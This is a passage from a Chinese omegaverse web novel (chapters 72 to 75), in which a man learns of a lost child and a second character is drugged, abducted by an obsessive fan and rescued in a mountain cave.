当初要不是桑也和相召南有矛盾,能借着他俩的不和睦让相召南烦心,他才懒得搭理桑也。 相召南闻言,面色阴沉,片刻后似乎又有些高兴,勾唇,“你知道当时相民为什么临时改遗嘱吗?” “还能因为什么,不就是你拿爸爸性命作要挟——” 相召南打断他,“是因为相民得知自己一心想要培养的小儿子,你,被我骗去N市,屁颠屁颠的,毫无怀疑,气得一蹶不振,马上要死了。知道你是个蠢货,怕公司真落在你手上,熬不了两年就垮杆,才不得不改了遗嘱。” 他这话半真半假。 相民的确是怕公司被相渡南败光不假,但也并非完全没给他机会,附加条件里清楚写着如果相渡南未来任何时间做出了实绩,经董事会评议,随时都能拿回转移给相召南的股份。 但相召南不会说,这个条件相渡南什么时候发现,就跟他没有关系了。 等相渡南发现了,什么时候能做出实绩——绝无可能。 不用说相召南动动手指就能把相渡南摁死在市场上,单就看相民死后被他清洗掉的那些老顽固,他也达不成条件。 “怎么可能!”相渡南瞪大了眼,“你在骗我!” 相召南只是给他手机隔空投送了个视频。 视频是相民在病房里口述修改遗嘱。 “我名下股份,百分之四十由相召南继承,其余由渡南继承,相召南仍旧挂职执行总裁。” 半晌,传出相召南的声音。 “你凭什么觉得这点股份就能把我拴在相氏。” 相民此前一天刚犯病一次,这时双目已经浑浊,沉默了片刻后,加码:“百分之六十。” 相召南不说话。 之前他在相氏挂职,但一直没什么股份,做事还要看相民和那群老不死的脸色,其他公司有人看在眼里,明里暗里暗示他几次,如果在相氏工作得不如意,可以随时跳槽。 这些事情他都没有瞒着相民,相民自然清楚他这话的含金量。 僵持。 “六十五……”相民苍老的声音从视频传出。 “八十。” “你!得寸进尺,咳咳!” “少一个点都不行。” 相氏作为一家上市公司,即使是相民一手创立,他本人也没有绝对控股。 但相召南算过,如果能拿到相民所有股份的百分之七十八,就能在公司事务中有绝对的权威。 “恒祥资业上周刚联系我。” 相民最后还是低头了。 “八十,八十,但是……” 视频到此为止,相民最后两个字并不清晰,像是视频卡顿。卡出来的电音,并没有被相渡南注意到。 视频里,病床周围站着五六个医生护士,相渡南看着画面,知道没办法在遗嘱的合法性上做文章,猛地一攥拳,把手机砸了出去。 “老糊涂。”相渡南咬牙咒骂相民。 相召南冷冷一瞥。 有人处在他人千般考量之中,却毫不知足。 “当初要不是你设局把我调到外市,不可能让你计谋得逞!”相渡南切齿,恨不得当场表演一个捶胸顿足。 “嗯,是我。” “你你你——”相渡南更气了,他在房间里转来转去,突然顿住脚步,转身面向相召南,露出心旷神怡的表情。 “哥,你知道三年前你在风险评估会议后宣布撤资桑氏地产的第二天,我在哪里吗?” 相召南凝眉,这与他有什么关系。 “我在医院。” “就是这个医院,——桑也做手术的地方。” 相召南面色沉了下来。 相渡南最会用桑也的事情来挑拨离间。 “你想说什么,别废话。” “行吧,那我也不卖关子了。”相渡南摊了摊手,眼里抑制不住的喜悦。 “本来以为你会顾念和他的几年感情,犹豫一番,没想到你这么绝情。没我的戏,就只好来探望探望嫂子。好巧不巧,正正好撞见一个护士,手里捧着一个盒子进了病房。” “你猜她手里的盒子装着什么?” 相召南暗思片刻,并未回答。 被剜下来的腺体? 他稍稍攥紧了拳,心中隐隐作痛。 谁料相渡南再一开口,就如五雷轰顶,让相召南浑身骤然失力,瞳孔放大,连灵魂都在震颤。 “我问护士里面是什么,那护士不说,我只好告诉他里面的病人是我嫂子,她才说话。” “说那里面装的是未成形孩子的骨灰。” “哥,你猜,孩子是谁的?”相渡南满脸舒心的笑容。 他瞒了这么多年没有告诉相召南,就是为了这一刻。 为了看相召南追悔莫及的样子! 相召南恍惚间以为自己听错了。 他们曾经有过一个孩子……? 可再仔细回想,他听得一分不差。 桑也怀孕了。 怀了他的孩子。 又在剜除手术的同一晚,流掉了他们的孩子。 比起桑也没有告知孩子的另一位父亲就流掉了孩子,相召南更在意的是,三年了,他才知道有一个孩子在那个夜晚离开。 这完全不能怪桑也无情,这么重要的事情连通知他一声都不。 因为他深知,这一切是他自己亲手铸造的。 他是这件事情中唯一的过错方。 相召南喉咙发紧,干涩如同沙漠,发不出一丝声音。 多年前抛掷而出的回旋镖终究是刺向了自己。 如果当年他没有任由钱余在他眼皮子底下搞小动作,没有对桑也的电话视而不见,没有在桑氏地产危急时刻宣布撤资避险。 他们会有一个孩子。 到现在,正正好三岁。 桑也生得好,孩子也一定会长得像他,小脸圆鼓鼓的,挥着肥嘟嘟的小手,用脆生生的声音喊他—— 爸爸。 桑也脾气好,他自己又没有带孩子的经验,两个人肯定会惯得小孩性格骄纵矜傲,整天在家里耀武扬威,送到幼儿园里去也是园中一霸。 说不定还会被老师叫家长。 然后相召南就拉着孩子的小手,一起站在老师面前挨训。 可现在,一切都成了泡沫,幻影,往昔可能。 轮椅扶手险些被相召南捏变形。 相渡南又轻飘飘地抛出另一个炸弹:“那护士走之后我进去看了一眼,盒子里的骨灰,就这么一丁点,灰白色的,啧啧。” 他说着,掐着指尖比了个大小。 指甲盖大小的骨灰。 灰白色。 相召南愕然,手下意识摸上了自己颈上挂着的无事牌,心中遽然腾升起一股恐惧:“……你说什么?” 第73章 相召南至今记得, 桑也出国后主办的第一场拍卖会结束后,他们在洗手间外楼道里对峙的画面。 当从艰苦生活中爬出来站上金字塔尖顺风顺水了多年的相召南再一次遭到阻拦,当他的挽留五次三番遭到拒绝。 当桑也带着爱的无事牌对他说出他不爱了时, 相召南几乎是崩溃地质疑那块牌子的存在。 于是勃然大怒, 摘下那块牌子, 抬手—— 让被金丝嵌合起来的无事牌再次断裂。 飘洒的灰色粉末使他有一瞬间的诧异, 但并未令他生疑。 只有桑也失神的、麻木的眼神深深烙印在了他的脑海里,灼伤他的心口, 让他后来的三年无数次退缩。 彼时, 相召南以为,桑也惋惜的是无事牌碎碎合合还是躲不过被人淬灭的命运。 现在才明白, 桑也惋惜的是什么。 桑也说, 他自由了。 原来自由的,还有孩子的灵魂。 相召南眼神空洞迷离, 沉浸在往昔里, 双手扣着轮椅扶手,骨骼突起,指尖因用力而泛白。 悲恸如同潮水, 波涛汹涌,将他淹没, 敲打着每一寸痛苦的神经末梢。 似乎有一根鱼刺卡在他的喉口, 或者是太多的话倾巢而出而挤得喉口狭窄的空间水泄不通, 总之, 他现在只字不言。 只有沉重的心跳声在静谧的病房里格外清晰。 为在世间仅存不到两个月的灵魂, 敲响迟来的丧钟。 相渡南轻蔑地笑着,“大哥你也有露出这副神情的一天。” 他拍拍手,毫不在意自己抛下了一个威力多大的炸弹, 朝相召南挥挥手,“不打扰你缅思了。” 相渡南走后,病房里只剩下相召南一个人。 窗外的雨声越来越大,相召南却不再觉得是老天爷刻意催泪,催人哀思,催人肝肠寸断。 只觉得是自己心口的暴雨从天口坠了出来。 他长久地沉浸在其中。 终于懂得了那些在坟墓前哭泣的人是何等可怜。 护士按时进来查看了情况,见人只是枯坐在轮椅上,边上有一只摔烂的手机,但没有别的什么意外情况,没多留步,准备去下一间病房。 然而护士刚刚转身,就听见病人的电话响起。 电话那边的人不知道说了句什么,病人皱着眉,反问:“你在说什么?” 片刻后,护士听见病人用颤抖的声音问:“桑也……失踪了?” 下一秒,就看见原本双目放空的病人突然摇动轮椅到放置拐杖的地方,靠着双臂支撑起自己,强行站了起来,开着电话免提往外走。 护士阻拦他:“欸,你现在不能出去!你至少,至少坐在轮椅上面啊!” …… 清明节前一天,桑也就期待着要回春城,上次没能和爸妈姥姥好好说会话,一定要补回来。 桑也这样对桑守安说。 但桑守安不免有些担忧。 清明照例是要下雨的,而且悠长绵延,一整天都湿哒哒的。 上次因为下雨,没能久留,这次真的能如愿吗? 桑也看出了他的担忧,露出贝齿莞尔一笑,从房间里取出两件东西。 一个是隔湿的垫子,一个是止痛药。 “我早就准备好了。” 于是第二天,桑守安驱车,带着桑也回了春城。 这回没带上老大,雨下得大,万一老大回去跟着兄弟姐妹们在湿泞泞的山地上混,弄得满身都是泥泞,到时候不好带回来。 车还是直接停在了坟茔前。 一人一把黑伞。 桑也跟家里人一一打了招呼,好像他们都还在世间。 提前吃过止痛药的桑也暂时没有感觉到特别厉害的腿痛,只是有些酸,尚在能忍耐的范围内。 等他嘀嘀咕咕、边说便偷觑大哥眼色地跟爸妈吐槽完大哥一点不懂谈恋爱,把嫂子气得再也没来过家里后,被桑守安按住头。 “香瓜地里的麦冬能摘了,你去摘点回来。” “你怎么不去。”桑也嘟囔,大哥就是听自己说他坏话故意的。 桑守安笑着把推他转身,“我有话跟爸说。” 才看见弟弟一扭一扭跟只小企鹅一样离开了墓地。 等人没影了,桑守安才开始絮说这段时间的事情。 “爸,你看耶耶,一到你们面前就跟个小孩子一样。” “如果不是我没有照顾好他,他本来可以一辈子都是小孩的。”桑守安有些沉闷道,叹了口气,“不过这段时间也不算全无收获。” “之前得到的消息,陈国安应该是要死了,陈家强两个案子一共判了二十年,等他出来……呵,他出不来。” “房地产是爸妈的心血,但现在的形势,我们的确不好再回去。新领域也挺好的,之前招来的投资,和家里解冻的资金,够我们在这个行业深研了。” “若非是耶耶的后遗症,我可能还想不到往这个方面使力。”他神色低落,不知是喜是悲,“腺体后遗症靶向药物的开发和二次诱导分化进展挺顺利的,如果成功了,耶耶能少受很多罪,新桑也能靠着这个项目跻身行业中心。” “但我并不觉得有多高兴。”桑守安摇头,滴滴答答的雨砸在黑伞上,“我更希望耶耶从来没有受过这些罪。” 似乎是觉得自己说得太哀伤,不想勾起爸妈的坏心情,他话风陡然一转: “耶耶刚才说的话你们别放在心上,我再怎么不行,也比他那三年好吧,他没有评判权,我说的。”说到这里,桑守安才勉强笑了下,絮絮叨叨地往下讲。 从这段时间C国发生的大事,讲到海风府里老大的斑斑劣迹,事无巨细。 一直讲了有半个多小时,桑守安嘴都讲干了,没什么话可讲了,他突然意识到—— 桑也是不是去得太久了? 桑守安给通话录里名叫“萨摩唉”的联系人拨了个电话,却左等右等,没等到接通。 最后电话提示暂无人接听请稍后再拨。 桑守安心中惴惴,耶耶犯病了? 他一边接着拨电话,一边往香瓜地跑过去,嫌雨伞阻力大,跑到半途把伞直接丢在地上。 香瓜地不远,走路八九分钟,跑过去也就三四分钟的事。 电话一直无人接听,桑守安的心愈发悬得紧张。 当他在靠近香瓜地听见桑也手机铃声时,他的心跳短暂地平缓了一下,人还在就行—— 人不在! 只有一个手机! 手机边上还有一摞码得整整齐齐的麦冬根,大概十来颗。 香瓜藤外还有一把黑伞,伞收着,贴着歪倒的竹竿放着,应该是桑也嫌打着伞拔麦冬费劲,就把伞撇了。 手机,伞,摘下来的麦冬,和紊乱的脚印,都在。 唯独不见人。 桑守安一阵惊恐。 桑也经历的危难太多了,他好像不被上天怜惜。 让桑守安第一反应是桑也肯定出事了。 可是谁带走了他? 簇簇神经宛如绷紧的弦,令他一时间大脑空白,纵是经历大风大浪的桑守安,在弟弟疑似失踪这一事上也难以保持平静。 终于,终于,他想起了年关时来扫墓,桑也提到的“他”,相召南? 没错。 只有相召南既跟他们有过节,又知晓春城老家和墓地所在。 怒不可遏。 桑守安立马给相召南打了个电话,要他交出自己弟弟。 然而电话那边,相召南却说:“你在说什么?” 桑守安愣了一瞬,旋即质问:“耶耶,桑也,我说得够明白了吗?赶紧把他放了!要是耶耶出一点事……” “桑也失踪了?” “……你当真不知情?”桑守安惊愕,咄咄逼人的语气一滞。 “蠢货,不报警还愣着干什么?”相召南似乎很生气。 “你他妈的。”桑守安立马挂断电话,相召南说得对,他得报警。 可是他打了报警电话后,对方竟然说失踪不到二十四小时,让他自己先找找。 桑守安一拳垂在倾斜的竹竿上,让摇摇欲坠的竹竿彻底崩塌。 等到了二十四小时。 等到了二十四小时—— 桑守安根本不敢去想会发生什么! 相召南的电话打了过来。 “你们在哪?” “……春城。” “知道了,我马上来。” 不知为何,得了这句话,桑守安竟然冷静了些,既然警方不派人,那就只能他自己想办法了。 “方明。” 电话那边,楚方明语气冷淡,“又干什么,别闲得没事整天打电话。” “桑也失踪了。刚才。警方说时间不到,不愿意出警。” 楚方明语气一凌,“失踪?” “你先别急,什么情况?” 桑守安快速把回春城扫墓,桑也去摘麦冬却久久回归,他到了香瓜地发现人不见了的事情讲了一遍。 楚方明短暂地思索了一下,“你家是不是有条狗,你带上了吗?” “没。”桑守安这时也感到后悔,要是没有因为怕麻烦把老大留在家里,他们现在说不定还能有个助力。 “你叫人把狗带来,你们那地方肯定没什么监控吧?我打个电话,先别急。” 桑守安思来想去,觉得只有相召南最合适帮他把老大带来,于是给相召南发了条短信,很快就收到了回复。 之后没两分钟,又接到了春城派出所的电话,说他们马上会派人来搜查。 到这里,桑守安才定心下来,循着被雨冲淡得几乎没有的脚印,朝着一个方向跑去。 边跑,边喊着桑也的名字。 可惜春城太大了。 说是个小城,实际面积并不小,而且多山,除了城中心有块稍稍平坦些的平原,四面八方都是山丘,春雨过后,山林里该抽条的抽条,该发芽的发芽,一眼望去,满眼绿色,连头顶都被密林覆盖着,令人完全辨别不了方向。 最重要的是,他根本不知道桑也可能被带到哪里去了! 只能像无头苍蝇般乱找。 直到他在山上碰到一个扫墓回来的邻居,说是看见一个陌生人背着个人,往山里走,还以为是有人摔了跤伤了脚。 才把目标确定在山里。 警方派了一支小队,七八个人,还有一架春城这个小地方派出所仅有的一架无人机。 然而无人机在山里根本发挥不了作用。 警车的声音引来了周围为数不多邻居的注意,得知情况后也纷纷加入了搜寻队伍。 然而人力式微,在浩荡的林海里,显得那样无能为力。 两个多小时后,相召南和楚方明前后脚到了春城。 这时桑守安和其他人已经深入山林,不能让人走回头路,他们两个也只好单独进山寻找。 楚方明看见相召南还杵着拐杖,跟他说把狗放进去找就行,他自己就别进去了,免得进去了出不来,结果人家根本不听,楚方明也懒得费口舌多做劝解。 老大刚一解开绳索,立马朝着山中跑去,似乎知道他的任务所在。 楚方明和相召南两个人都跟不上,远远落在了后面。 后来眼见着时间一分一秒过去,楚方明也加快了脚程,把走路费力的相召南抛之脑后。 这一找,就从白天找到了黑夜。 晚上十一点,楚方明安慰桑守安,先喝口水休息休息,一定能找到的。 桑守安一拳锤在身边的树干上,手背瞬间破了口,血渍挂在树干上。 “耶耶的止痛药,”他喊了十几个小时,嗓子已经沙哑,“还在车上。” 要不是相召南调了周围所有监控,他都要怀疑桑也已经被转移出去了。 突然,一阵犬吠,让在场所有人瞬间回头! 第74章 香瓜藤淅淅沥沥滴着雨水, 桑也打着伞弯腰,不太方便,干脆把伞放在一边, 想着长痛不如短痛, 一鼓作气多摘一点直接走人。 一共摘了十几簇, 他细致地把麦冬根上的泥抖掉, 然后叠在一起,准备拿伞。 结果他一转身, 就有一张灰色的毛巾出现在他面前, 捂着他的口鼻! “你——唔!” 桑也第一时间就想要闭气,然而还是不受控制地吸入了一些粉。 那粉末似乎是固态镇定剂或者松弛剂研磨而成, 瞬间让桑也感到自己身体里的力量开始消失。 无力感从他的大脑, 喉咙,传到手臂, 双腿, 连脚趾抓地的力气都没有。 在他面前的人带着口罩,眼睛死死盯着桑也,直到十秒钟过后, 桑也的眼神开始涣散,他才收了毛巾, 把人抱在怀里, 摘下口罩。 “又见面了, 宝宝。”他对着桑也的耳朵轻声说。 齐橘。 桑也心中暗暗念了他的名字。 “你做什么……”他有气无力, 想要质问, 却拿不出气势。 齐橘没有回复他,只是扶着他的肩,强行把人携走。 桑也自然不肯走, 可他身上无力,双腿只能随着上身倾斜的角度自然的甩过去。 一瞬间仿佛回到了青年时代,在学校跑一公里的测试,跑到后面,双腿肌肉已经完全没了力气,大脑也混沌一片,坚持跑完完全靠双腿自然的律动。 从香瓜地里出来,穿过一条柏油马路,进入满是高树的山。 这时齐橘没法再带着桑也走,他一手扶着桑也不让人摔倒,一手压在他的大腿上,自己站在人前,弯腰,让桑也顺势压在自己背上,然后将他背起来。 桑也的右腿轻轻踹了一脚,没落在实处。 他控制不了自己的身体。 只能艰难地发出一点声音:“放开……” 他看见,再往里走,就是深山。 一旦进去,大哥恐怕很难找到他。 小时候他和春城的孩子们玩捉迷藏,怕他们用手表找到自己,把手表丢在家里,自己跑到山中。 结果累了走不出来,直接找了个草垛睡觉。 那天晚上家里彻夜未眠,除了本就在春城的姥姥,还有从S市临时赶回来的爸妈,带着左邻右舍,齐刷刷打着手电筒在山里找他。 然后半夜十二点在草垛上看见睡着被吵醒还揉着眼睛的桑也。 虽然当时大家都很庆幸没有出什么意外,脸上的表情也很愉悦,但桑也还清楚记得,深藏在喜悦的眼神下的恐惧。 小小的他只觉得好玩,大人们却清楚,一座山能吞灭一个人。 之前李叔所说的,在他家坟墓前踱步的Omega,原来是齐橘! 难怪他能直接找到进深山的路。 恐怕早就踩好了点。 他想干什么? 上次他下药被相召南截胡…… 难道他还想继续? 齐橘说到底也只是个Omega,负重走了半个小时后开始气喘吁吁,不得不停下来歇息。 他把桑也放到一棵树根处,说:“宝宝,别害怕,我不会伤害你,只是——只是有些话想和你说。” “我不把你带走,你是不会听我讲话的。你大哥也不会给我这个机会。” 被桑也好看的眼眉瞪了一眼,他取出放进兜里的毛巾,故技重施。 这一路走了许久。 桑也知道他大哥在山里找他。 因为在他被齐橘带走的一个小时后,他们擦肩而过! 大哥喊着他的名字,却惊扰了齐橘,让齐橘调转方向,把桑守安甩在身后。 桑也想出声,想让大哥知道他们在哪里,可他的喉咙根本动不了一点,只能发出蚊子嗡叫大小的声音。 好不容易升起的一点希望,又没了。 他现在,只能寄希望于齐橘说的是真话。 齐橘背着他,一共走了五个多小时。 等他找到一个山洞,把人放下,却发现桑也已经闭上了眼,怎么叫也叫不醒。 齐橘一阵害怕,连忙去摸桑也的心口,发现还有心跳。 是镇定剂过量,桑也昏迷了。 怎么会这样? 他时间不多,万一在桑守安找过来之前,桑也还没有清醒,听不见他说话,怎么办? 他摇晃桑也,却不见他有反应。 情急之下,齐橘突然想到那些电视剧里给受刑的人泼冷水把人唤醒的戏码,他跑到山洞外面,撸了一把藤蔓叶子,沾了一手的水,随后跑回来,轻柔地覆手盖住桑也的双颊。 可桑也还是没有醒。 齐橘焦急地等着。 又是去山洞外摘了几把藤蔓,把洞口遮住,又是拿了两根藤蔓进山洞,把叶子摘掉,然后用它把桑也的手脚都束缚住。 他要确保桑也能听完他讲的话。 桑也的脸色苍白。 他多么心疼啊。 齐橘轻轻碰了碰桑也的脸,心想,如果不是桑也走上了不该走的道路,他怎么舍得让桑也受苦受疼? 等待桑也苏醒的时间内,齐橘打开了七次手机,找到熟悉的链接,点进去。 看着弹出来的提示:你搜索的网址未被找到。 他愤愤地捶地。 “快醒吧,宝宝,快点醒来吧。” 不知道是不是他的呼唤起了作用。 晚上九点半,桑也终于睁开了眼。 他的表情并不轻松,似乎受到了什么痛苦的折磨,让他眉目紧锁,眼神黯淡,双唇泛白。 齐橘碰了碰他的手,“你终于醒了宝宝。” 桑也又皱了下眉。 “恶心。” 齐橘脸上笑容瞬间掉了,他流露出受伤的神色,“别这么说,你这样说会伤害到好几十万人的。” 桑也心中沉了一下。 他怀疑齐橘说的那几十万人就是论坛里那些人。 “你到底想干什么。”桑也动了动手腕,果然看见自己腕上绑着藤草,稍微一用力就磨得手腕肌肤生疼。 只不过这点疼痛在双腿的幻疼下,显得并不严重。 他是痛晕过去的。 也是痛醒过来的。 齐橘为了带着他快点走,没有打伞。 雨水不停的往他身上灌,湿漉漉的衣服贴在肌肤上,水分似乎从毛孔钻进了他的骨骼,让骨骼的摩擦变得生涩,变得嘎吱嘎吱,疼痛难耐。 齐橘有些担忧地看着桑也,似乎对他的疼痛感同身受。 “我说了,我只是有些话想和你说。他们都没机会,没本事靠近你,这件事情只能让我来做了。” 齐橘脸上浮现出回忆的神色,“宝宝,从你出国到回国到现在,已经过去快四年了,我们认识也快四年了。亲眼看着你从青涩走向成熟,从一个无人问津的画者变成被无数人投以艳羡目光的公司总裁,我们比谁都开心,比谁都激动,没人庆祝你的成长,只有我们,无数人被你的改变牵动心弦,书写文章,绘画图片,成为我们共同的宝藏。” “我们是全世界最关心你的人,你开心,你难过,你兴奋,你低落,我们都如数家珍。” “那些该死的,自视甚高的M国贵族,谁敢对你出言不逊,都会收到我们送的大礼,都会为他的傲慢付出代价,受到惩罚。” “后来慢慢地,你学会了口齿伶俐,学会了不再受气,我们是多么高兴,恨不得在论坛拉个横幅为你庆祝,庆祝你的蜕变。” “我们亲手,把你送到了现在的地位,可你,可你是怎么对待我们的?”齐橘面色有一瞬间狰狞。 “你竟然让人关闭了论坛,那是我们唯一的灵魂沟通处啊!” 桑也有一瞬皱眉。他并不知道论坛被关闭的事情。 齐橘还在自言自语,神色哀愁。 “宝宝,你太让我失望了,你怎么能因为相召南的两三句花言巧语就被他骗了回去呢?你忘了吗?你的腺体,你的亲人,你的……孩子。” 桑也赫然抬头,“你知道?” “我当然知道。只要是关于你的事情,我们都无所不知。”齐橘循循道来,语气深情,却让桑也浑身一寒。 “疯子。都是疯子。” 齐橘捂着胸口,“不要这样说,宝宝。” “不要这样喊我,恶心。” 齐橘瞬间瞬间站了起来,黑不见光的山洞里,他居高临下,让桑也难以看清他的表情。 “恶心?可是我们这样喊了你三四年,一直都是这样啊。” 旋即语气变得狠厉,“这就恶心了?还有更恶心的,你想听听吗?” 桑也不语。 “现在嫌我们恶心了?之前我们一口一个宝宝,把你送上热搜,为你贡献热度,帮你站起来,东山再起的时候,怎么不觉得恶心?” “回国才半年,就把我们论坛关了。你不是现在才知道论坛的存在,你早就知道了,可你之前能容许它存在,现在为何不能?” “是因为相召南对不对?是因为他这个妒夫,你才迫不得已关掉了我们的论坛,对不对?” 齐橘半是质疑,半是祈求,甚至俯身捏着桑也肩膀使劲摇晃,似乎很害怕从桑也口中得到不想要的回答。 桑也一阵头晕,抬起被束缚住的双手,拨开他的手。 “我不知道。不是我关的论坛。” 齐橘一愣,随即大笑,“果然是他,一定是他,我就知道!” “我就知道,宝宝是爱我们的,怎么可能端了论坛呢?”齐橘说着说着,眉头又皱起来,“可是,宝宝,你还是和相召南接触得太多太多了……” “他为什么突然对论坛动手?” “是因为你给了他希望,是吗?是你让他看到了复合的可能,对吗?你是不是正有此意,而相召南恰好成了你的枪手?”齐橘哀怨道,“你怎么能背叛我们?” “啊?你怎么能背叛我们!”齐橘突然发疯般怒吼,声音在洞穴里回荡。 桑也浑身都痛,还要费心力去理解齐橘说的话,本就运转费劲的大脑完全无法理解“背叛”二字为何意。 “背叛。”他蹙起眉,“我怎么就背叛你们了,我……” 他没说完的是,我跟你们有什么关系。 他的话被齐橘打断。 “怎么背叛了我们?你怎么能说出这种话?你现在所做的一举一动,都是对我们的背叛!” “没有我们,你能走到今天的位置吗?没有我们,你早就在M国被吃抹干净连骨头都不剩了!” “我们把你当精神领袖,我们造神,让你作为反抗者出现在公众视野里,可是你呢?你却和相召南纠缠不清!成为了AO连结的证明!” “你说着要做腺体移除手术后遗症的研究,却接受了相召南的投资!你就是个大骗子!” 齐橘说话时而哀怨,时而激昂,变化迅速,让桑也觉得他比自己这个精神不稳定的人变脸还快。 骗子这种词,桑也也曾用来形容相召南。 但他不懂,为什么这种词也能被齐橘用在自己身上。 “把我当精神领袖,”洞穴内寒意横生,桑也咳嗽了两声,“意思是,在论坛里说着一些上不了台面的话,发表的帖子搬运出来都要打码才不被屏蔽,这样的精神领袖吗。” 倒是没有嘲讽的意思,只是桑也实在是不明白,齐橘他们这些人的想法。 齐橘脸上愤懑一僵,“那是因为,是因为——我们太爱你了啊!” “我们天天关注着你的一举一动,天天看着你的脸,听着你的声音,爱上你,人之常情啊。” 桑也的神智稍稍恢复了些,虽然不如正常脑子清醒,但也能勉强抓住齐橘话里的漏洞。 “既然你爱我,你们爱我,那你们为我提供热度,也不过是你们为所爱做出的一点付出,还是一厢情愿的付出,为什么要我回报?” 齐橘沉默了一会。 “我们不是要你回报,我们只是不想你和相召南,不想,你……” 桑也替他说明白,“不想我和相召南,或者任何一个Alpha过多接触,对吗?” 齐橘点头。 “因为你们厌恶Alpha,憎恨天生的Alpha连结,而我刚好从最深的连结里逃离出来,所以我成了你们的精神投映体,必须要按照你们的想法,将Alpha视若仇敌,对吗?” 齐橘思索了片刻,又点头。 “可我从来没说过我恨Alpha啊。”桑也轻声道,“你们要我为你们的想法限制社交,不和Alpha接触,甚至拒绝他的投资,限制公司的发展,不就是要我为你们一厢情愿的付出做出回报吗?” 齐橘顿时脸色精彩纷呈。 “你,你,怎么可能不恨Alpha,相召南,他给你带来了那么多的伤害,他害得你失去了腺体,失去了孩子,失去了亲人,大哥还坐了三年牢,公司也被迫低价出售了,这么多的苦难,这么多的折磨,你怎么可能不恨他?” “我当然恨他。可他又不等于Alpha。我的大哥,我的父亲,都是Alpha。”桑也冷静回复。 齐橘越是激愤,桑也就越得冷静,不能被他高昂的情绪带动,乱了思绪。 齐橘慌了神,他显然没有想到,自己明明是来做桑也的思想工作的,说了半天,却被桑也揪住了话柄。 “天底下的Alpha都一个样!别想骗我!他们只会像相召南那样,给别人带来痛苦,他们享受着社会上最好的资源,占据了更高的社会地位,把Omega当泄欲工具,把Beta当成廉价劳动力,根本没把我们的死活放在心上!他们都一样该死!” 齐橘暴怒地嘶吼着,甚至掐着桑也的下巴,抬起他的脸,强迫他听从自己。 “汪!” “汪汪!” 齐橘的怒吼瞬间停滞,桑也侧头望向山洞外。 是老大的声音。 桑也张嘴就要喊人,被回过神来的齐橘手疾眼快地捂住嘴。 “怎么会这么快……”齐橘神色惊慌,怎么会这么快! 他还没有说服桑也,还没有让桑也做出承诺,还没有让他们追捧的神明成为他们的信徒! 齐橘还有话要和桑也说,不能就这里放弃。 他深吸了一口气,弯腰把桑也的手挂在自己脖子上,将人再次背起来。 然而他刚背着桑也走到洞穴口,就从风中飘摇的藤蔓缝隙里撞见了一只大黄狗和一个模糊人影。 大黄狗瞬间朝着齐橘冲过来。 齐橘连忙躲闪。 却避之不及。 他好几次闪身,差点把桑也摔在地上,而那狗还在不依不饶往他身上扑。 “滚开!” 齐橘抬脚去踹大黄狗,被狗咬住腿,险些站不稳。 这时,相召南从洞口外赶了进来。 大黄狗一个用力,把齐橘拽得转了个方向,背对着洞穴口,刚好让相召南可以触及桑也。 相召南会意,丢了一根拐杖,空出一只手来将桑也从齐橘身上剥下来。 桑也似乎浑身没力,一落地就往相召南身上倒,然而齐橘还没有被制服,相召南只能将弯腰将桑也放置在洞口,靠着石壁坐下。 之后,才趁着齐橘被老大咬住腿动弹不得,抬起拐杖猛地一砸,敲在齐橘颈后。 腺体的位置。 剧烈的疼痛让齐橘再也站不住,跌倒在地,弓起腰,反手抓着腺体,“啊!!相召南——” 相召南冷哼一声,从桑也手腕脚腕处撤下藤蔓,将齐橘捆起来。 整个过程发生在短短一瞬间,但相召南思路清晰,不紊不乱,没有出一点差错。 等把齐橘制服,相召南双腿的忍耐也到了极限,检查藤蔓无法被挣脱之后,他踉跄两步,坐到了桑也边上,捞起人圈进怀里,对老大说:“去找人,找桑守安。” 山里信号不好,从他进山没多久就发现了,到了山洞里,电话更加打不出去。 老大冲着桑也嗷了两嗓子,得到桑也点头首肯,才冲了出去。 等老大走了,相召南默了默桑也的胳膊和腹部,“没受伤吧?” 桑也缓缓摇头。 相召南安慰他:“没事的,马上你大哥就会找过来,还有警察,他做不了什么。” 又说:“你衣服湿了,我帮你换上我的?” 似乎怕桑也担心被齐橘看见,补充道:“他现在痛得没力气回头,看不见的,你要实在怕,我给你挡住,好吗?” “衣服都湿透了,很痛吧桑也。”相召南呢喃。 桑也这才嗯了一声。 湿哒哒的衬衫被丢在地上,换上有点润但不那么湿的夹克外套,身上干爽了许多。 似乎那股湿漉漉的痛感也顿时消散了一些。 “痛吗,桑也?”相召南轻声问。 桑也坐在他腿间,他看不见桑也的神色。 但他忘不了刚才,他将桑也从齐橘身上夺走时,看见的那一双眼眸和带给自己的感受。 那时太紧张急促,来不及品味,而现在,那股伤感姗姗来迟,源源不断笼罩他的心头。 在昏暗潮湿的洞穴里,桑也看起来像一阵雾,湿湿的,水水的,润润的,雪白肌肤下朦胧的血管中,溶溶血液静静流淌。 水汽带来钻心的疼痛,刻进骨髓,在灵魂深处烙下印记。 他或许在等一场爆裂的阳光,和猛烈的风,吹散遮盖山尖的流霭。 他肯定痛极了。 相召南想。 比他腺体被贯穿,手臂被捅伤,双腿被碾碎,还要痛。 那痛来自多年前,经年不散,穿越时空来到了今天。 相召南低头,唇擦过桑也的头发,“我带了止痛药,现在吃吗?” 自从那次亲眼见识了桑也的后遗症,他便有了随身带止痛药的习惯。 他没有办法立马让桑也的后遗症消失,但能让它稍微缓一缓,稍微没那么折磨人,也是好的。 “嗯。” 相召南从夹克外套里取出止痛药,倒了一片在手心。 他想要直接递给桑也,却突然意识到,这里没有水。 止痛药有指头大小,若是不和着水吃,恐怕会咽不下去,挂在喉咙上。 可要是用洞穴石壁上挂着的水,抑或是外边滴滴答答淋下来的水,没有过滤没有消毒,到时候感染了细菌,桑也这么脆弱的身体,受不住的。 相召南有些拿不定主意。 他看着桑也垂眸,久久凝视着那颗白色的药丸,咽了咽口水,用手指关节将药丸碾成细小碎片。 他将桑也转了个方向,侧身向前,深黑色的长眸落在桑也唇间。 粗粝的指腹从泛白的唇上刮过,他问:“你介意吗?桑也。” 桑也抬眸瞥了他一眼,继续看着他手中的药,声音卡顿:“快点,很疼。” 相召南低头擒住他的唇,并没有过多留恋,旋即探出舌,在桑也香软的口腔中寻找那两块能够分泌出涎水的软肉。 然后用舌尖挑逗,碾压,剐蹭,很快就有散发着香气的水液流了出来,填满了口腔。 相召南依依不舍地离开了那双唇,抬手将药丸碎片倒进了桑也口中。 只见桑也喉咙滚了一下,似乎顺利咽了下去。 相召南正要问他还用不用帮忙,就听见不远处齐橘愤怒的声音。 “贱人!相召南你个贱人!不准碰,不准碰他!啊啊啊啊啊桑也你为什么同意,你为什么不拒绝,你怎么能这样!” “两个贱人!!!” 第75章 齐橘面容扭曲, 